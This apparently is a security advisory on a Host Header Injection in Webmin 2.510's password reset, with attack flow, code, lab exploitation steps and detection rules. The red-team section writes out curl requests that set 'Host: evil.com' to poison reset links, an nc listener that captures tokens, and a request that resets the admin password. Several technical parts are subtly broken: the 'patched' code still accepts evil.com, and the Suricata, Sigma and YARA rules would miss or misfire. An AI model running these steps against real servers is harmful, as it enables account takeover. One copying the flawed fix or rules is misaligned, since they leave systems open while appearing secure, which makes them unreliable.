CVE-2025-61541

Executive Summary

CVE-2025-61541 is a critical Host Header Injection vulnerability in Webmin version 2.510, specifically within the password reset functionality (forgot_send.cgi). The vulnerability allows an unauthenticated attacker to manipulate the HTTP Host header, causing the password reset link sent to users to contain a malicious domain. If a victim clicks the poisoned link, the attacker can intercept the reset token and gain full control of the target account. This is a classic Host Header Injection (CWE-74) that can lead to account takeover. The vulnerability is currently unpatched, and no official fix has been released by Webmin.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a server-side web application vulnerability in the Webmin administration tool.

CVSS Breakdown & Threat Level

• CVSS Score: 9.6 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) - The victim must click the malicious link.
• Scope: Changed (S:C) - The attack can impact resources beyond the vulnerable component.
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is easy to exploit, requires no authentication, and can lead to full account takeover.

Deep Dive & Mechanics

The vulnerability resides in the forgot_send.cgi script, which handles password reset requests. When a user requests a password reset, the script constructs a reset link using the get_webmin_email_url() function. This function uses the HTTP Host header from the incoming request to build the URL. An attacker can intercept or modify the Host header to point to a domain they control.

Attack Flow:

1. The attacker sends a password reset request for a target user (e.g., admin) to the Webmin server.
2. The attacker sets the Host header to a malicious domain (e.g., evil.com).
3. Webmin generates a reset link like http://evil.com/forgot_send.cgi?token=RESET_TOKEN.
4. The reset email is sent to the target user's email address.
5. If the user clicks the link, they are directed to evil.com, where the attacker can capture the reset token.
6. The attacker uses the token to reset the password and gain full control of the account.

Root Cause: The get_webmin_email_url() function does not validate or sanitize the Host header, allowing injection of arbitrary domains.

Vulnerable vs. Patched Code

Vulnerable Code (Webmin 2.510):

sub get_webmin_email_url {
    my ($host, $port, $ssl) = ($ENV{'HTTP_HOST'}, $ENV{'SERVER_PORT'}, $ENV{'HTTPS'});
    my $url = "http://$host:$port/forgot_send.cgi?token=$token";
    return $url;
}

Patched Code (Hypothetical Fix):

sub get_webmin_email_url {
    my $host = $ENV{'HTTP_HOST'};
    # Validate host header against allowed domains
    if ($host !~ /^[a-zA-Z0-9.-]+$/) {
        die "Invalid host header";
    }
    my $url = "http://$host:$port/forgot_send.cgi?token=$token";
    return $url;
}

The fix should validate the Host header against a whitelist of allowed domains or use a hardcoded server name.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Install Webmin 2.510 on a test server (e.g., Ubuntu 22.04).
2. Set up a malicious domain (e.g., evil.com) pointing to an attacker-controlled server.
3. Use a tool like Burp Suite or curl to manipulate the Host header.

Exploitation Steps:

1. Send a password reset request with a modified Host header:

   curl -X POST "http://target-webmin:10000/forgot_send.cgi" \
        -H "Host: evil.com" \
        -d "user=admin"
   

2. The reset email will contain a link like http://evil.com/forgot_send.cgi?token=abc123.
3. Set up a listener on evil.com to capture the token:

   nc -lvp 80
   

4. When the victim clicks the link, the token is sent to your server.
5. Use the token to reset the password:

   curl "http://target-webmin:10000/forgot_send.cgi?token=abc123&newpass=newpassword"
   

Blue Team (Defender)

Detection:

• Monitor for unusual Host headers in password reset requests.
• Check logs for forgot_send.cgi requests with unexpected Host values.
• Use the detection rules provided below.

Mitigation:

• Apply a WAF rule to block requests with suspicious Host headers.
• Implement server-side validation of the Host header.
• Use a hardcoded server name in email URLs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /forgot_send.cgi with modified Host headers.
  • Outbound emails containing links to external domains.
• File IOCs:
  • Log entries in /var/webmin/miniserv.log showing unusual Host headers.
• System IOCs:
  • Unauthorized password changes for admin accounts.

Detection Engineering

YARA Rule

rule CVE_2025_61541_Webmin_Host_Header_Injection {
    meta:
        description = "Detects Host Header Injection in Webmin forgot_send.cgi"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-61541"
    strings:
        $s1 = "forgot_send.cgi" ascii nocase
        $s2 = "Host:" ascii nocase
        $s3 = "token=" ascii nocase
    condition:
        all of them
}

Sigma Rule

title: Webmin Host Header Injection in Password Reset
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects Host Header Injection attempts in Webmin forgot_send.cgi
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/forgot_send.cgi'
        cs-host: 'evil.com'  # Replace with suspicious domain
    condition: selection
falsepositives:
    - Legitimate use of custom host headers
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-61541 Webmin Host Header Injection"; flow:to_server; content:"POST"; http_method; content:"/forgot_send.cgi"; http_uri; content:"Host|3a|"; http_header; pcre:"/Host:\s*[^a-zA-Z0-9.-]/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable password reset functionality if not required.
2. Apply a WAF rule to block requests with suspicious Host headers.
3. Monitor logs for unusual password reset activity.

Long-term Fix:

• Patch the code to validate the Host header against a whitelist.
• Use a hardcoded server name in email URLs.
• Upgrade to a patched version when available.

Workaround:

• Configure the web server to reject requests with invalid Host headers (e.g., using nginx or Apache).

Valters IT